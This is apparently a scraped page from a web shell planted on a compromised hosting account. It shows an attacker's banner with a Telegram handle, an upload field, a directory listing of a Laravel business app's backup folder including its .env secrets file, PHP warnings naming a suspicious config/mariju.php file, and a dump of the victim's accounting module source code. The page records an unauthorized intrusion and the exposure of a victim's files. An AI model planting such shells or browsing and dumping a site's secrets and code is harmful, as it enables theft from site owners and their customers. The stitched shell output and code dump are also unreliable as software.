telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log15188987 KBJuly 18 2025 16:53:120644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
value('accounting_settings'); $accounting_settings = ! empty($accounting_settings) ? json_decode($accounting_settings, true) : []; return $accounting_settings; } public function getAgeingReport($business_id, $type, $group_by, $location_id = null) { $today = \Carbon::now()->format('Y-m-d'); $query = Transaction::where('transactions.business_id', $business_id); if ($type == 'sell') { $query->where('transactions.type', 'sell') ->where('transactions.status', 'final'); } elseif ($type == 'purchase') { $query->where('transactions.type', 'purchase') ->where('transactions.status', 'received'); } if (! empty($location_id)) { $query->where('transactions.location_id', $location_id); } $dues = $query->whereNotNull('transactions.pay_term_number') ->whereIn('transactions.payment_status', ['partial', 'due']) ->join('contacts as c', 'c.id', '=', 'transactions.contact_id') ->select( DB::raw( 'DATEDIFF( "'.$today.'", IF( transactions.pay_term_type="days", DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number DAY), DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number MONTH) ) ) as diff' ), DB::raw('SUM(transactions.final_total - (SELECT COALESCE(SUM(IF(tp.is_return = 1, -1*tp.amount, tp.amount)), 0) FROM transaction_payments as tp WHERE tp.transaction_id = transactions.id) ) as total_due'), 'c.name as contact_name', 'transactions.contact_id', 'transactions.invoice_no', 'transactions.ref_no', 'transactions.transaction_date', DB::raw('IF( transactions.pay_term_type="days", DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number DAY), DATE_ADD(transactions.transaction_date, INTERVAL transactions.pay_term_number MONTH) ) as due_date') ) ->groupBy('transactions.id') ->get(); $report_details = []; if ($group_by == 'contact') { foreach ($dues as $due) { if (! isset($report_details[$due->contact_id])) { $report_details[$due->contact_id] = [ 'name' => $due->contact_name, '<1' => 0, '1_30' => 0, '31_60' => 0, '61_90' => 0, '>90' => 0, 'total_due' => 0, ]; } if ($due->diff < 1) { $report_details[$due->contact_id]['<1'] += $due->total_due; } elseif ($due->diff >= 1 && $due->diff <= 30) { $report_details[$due->contact_id]['1_30'] += $due->total_due; } elseif ($due->diff >= 31 && $due->diff <= 60) { $report_details[$due->contact_id]['31_60'] += $due->total_due; } elseif ($due->diff >= 61 && $due->diff <= 90) { $report_details[$due->contact_id]['61_90'] += $due->total_due; } elseif ($due->diff > 90) { $report_details[$due->contact_id]['>90'] += $due->total_due; } $report_details[$due->contact_id]['total_due'] += $due->total_due; } } elseif ($group_by == 'due_date') { $report_details = [ 'current' => [], '1_30' => [], '31_60' => [], '61_90' => [], '>90' => [], ]; foreach ($dues as $due) { $temp_array = [ 'transaction_date' => $this->format_date($due->transaction_date), 'due_date' => $this->format_date($due->due_date), 'ref_no' => $due->ref_no, 'invoice_no' => $due->invoice_no, 'contact_name' => $due->contact_name, 'due' => $due->total_due, ]; if ($due->diff < 1) { $report_details['current'][] = $temp_array; } elseif ($due->diff >= 1 && $due->diff <= 30) { $report_details['1_30'][] = $temp_array; } elseif ($due->diff >= 31 && $due->diff <= 60) { $report_details['31_60'][] = $temp_array; } elseif ($due->diff >= 61 && $due->diff <= 90) { $report_details['61_90'][] = $temp_array; } elseif ($due->diff > 90) { $report_details['>90'][] = $temp_array; } } } return $report_details; } /** * Function to delete a mapping */ public function deleteMap($transaction_id, $transaction_payment_id){ AccountingAccountsTransaction::where('transaction_id', $transaction_id) ->whereIn('map_type', ['payment_account', 'deposit_to']) ->where('transaction_payment_id', $transaction_payment_id) ->delete(); } /** * Function to save a mapping */ public function saveMap($type, $id, $user_id, $business_id, $deposit_to, $payment_account, $note = null){ if ($type == 'sell') { $transaction = Transaction::where('business_id', $business_id)->where('id', $id)->firstorFail(); //$payment_account will increase = sales = credit $payment_data = [ 'accounting_account_id' => $payment_account, 'transaction_id' => $id, 'transaction_payment_id' => null, 'amount' => $transaction->final_total, 'type' => 'credit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'payment_account', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; //Deposit to will increase = debit $deposit_data = [ 'accounting_account_id' => $deposit_to, 'transaction_id' => $id, 'transaction_payment_id' => null, 'amount' => $transaction->final_total, 'type' => 'debit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'deposit_to', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; } elseif (in_array($type, ['purchase_payment', 'sell_payment'])) { $transaction_payment = TransactionPayment::where('id', $id)->where('business_id', $business_id) ->firstorFail(); //$payment_account will increase = sales = credit $payment_data = [ 'accounting_account_id' => $payment_account, 'transaction_id' => null, 'transaction_payment_id' => $id, 'amount' => $transaction_payment->amount, 'type' => 'credit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'payment_account', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; //Deposit to will increase = debit $deposit_data = [ 'accounting_account_id' => $deposit_to, 'transaction_id' => null, 'transaction_payment_id' => $id, 'amount' => $transaction_payment->amount, 'type' => 'debit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'deposit_to', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; } elseif ($type == 'purchase') { $transaction = Transaction::where('business_id', $business_id)->where('id', $id)->firstorFail(); //$payment_account will increase = sales = credit $payment_data = [ 'accounting_account_id' => $payment_account, 'transaction_id' => $id, 'transaction_payment_id' => null, 'amount' => $transaction->final_total, 'type' => 'credit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'payment_account', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; //Deposit to will increase = debit $deposit_data = [ 'accounting_account_id' => $deposit_to, 'transaction_id' => $id, 'transaction_payment_id' => null, 'amount' => $transaction->final_total, 'type' => 'debit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'deposit_to', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; }elseif ($type == 'expense') { $transaction = Transaction::where('business_id', $business_id)->where('id', $id)->firstorFail(); $payment_data = [ 'accounting_account_id' => $payment_account, 'transaction_id' => $id, 'transaction_payment_id' => null, 'amount' => $transaction->final_total, 'type' => 'credit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'payment_account', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; $deposit_data = [ 'accounting_account_id' => $deposit_to, 'transaction_id' => $id, 'transaction_payment_id' => null, 'amount' => $transaction->final_total, 'type' => 'debit', 'sub_type' => $type, 'note' => $note, 'map_type' => 'deposit_to', 'created_by' => $user_id, 'operation_date' => \Carbon::now(), ]; } AccountingAccountsTransaction::updateOrCreateMapTransaction($payment_data); AccountingAccountsTransaction::updateOrCreateMapTransaction($deposit_data); } }